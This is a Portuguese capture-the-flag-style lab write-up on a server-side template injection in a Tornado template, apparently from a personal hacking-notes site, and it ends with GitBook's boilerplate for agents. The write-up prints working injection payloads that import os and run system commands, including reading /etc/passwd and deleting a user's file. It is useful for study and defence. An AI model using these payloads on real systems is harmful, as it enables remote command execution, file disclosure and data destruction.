> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/ssti/basic-ssti-in-a-python-code-context.md).

# SSTI básico em um contexto de código Python

### Injeção básica de template no lado do servidor (contexto de código)

Este laboratório apresenta uma vulnerabilidade **Injeção de Modelo no Lado do Servidor (SSTI)** devido ao uso inseguro de um **template do Tornado**. / O objetivo é executar código arbitrário por meio do mecanismo de template e, em seguida, excluir o `morale.txt` arquivo localizado no diretório pessoal de Carlos.

Uma conta de teste é fornecida: **wiener:peter**.

#### **Análise da aplicação**

Na seção que define como o usuário deseja ser exibido durante um comentário, é possível modificar o parâmetro transmitido:

<figure><img src="/files/9ec3e48a5043bcc7f681fe2ef7dd77a1cc091684" alt="" width="563"><figcaption></figcaption></figure>

O erro retornado pelo servidor confirma a presença de um **Python/Tornado** mecanismo, sugerindo uma injeção de template.

```bash
blog-post-author-display=user.JAAJAJAJ&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

<figure><img src="/files/c5f328dfe90475494fe90d77c61fb0eb46e753bb" alt="" width="551"><figcaption></figcaption></figure>

<figure><img src="/files/d0a53454124d3e72808049fed160df54fccd30b0" alt=""><figcaption></figcaption></figure>

#### **Testes básicos de injeção**

Para verificar se o template é interpretado:

```python
{{7*7}}
}}{{7*7
```

A renderização confirma a injeção: o cálculo é realizado pelo mecanismo de template.

<figure><img src="/files/ec1d7de64114453e80065ff4747266deb610c049" alt=""><figcaption></figcaption></figure>

#### **Execução de Comandos**

O Tornado permite a importação de módulos diretamente no template

```python
{{os.system('whoami')}}
{%import os%}{{os.system('whoami')}}
```

#### **Ler arquivo `/etc/passwd`**

Injeção adaptada ao parâmetro vulnerável

{% code overflow="wrap" %}

```python
blog-post-author-display=user.name}}{%import os%}{{os.system('cat /etc/passwd')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}

<figure><img src="/files/0f4c459d97f2e265883f9eae7510ff2d4b80beef" alt=""><figcaption></figcaption></figure>

#### **Arquivo morale.txt excluído**

Comando final para validar o laboratório:

{% code overflow="wrap" %}

```bash
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/ssti/basic-ssti-in-a-python-code-context.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
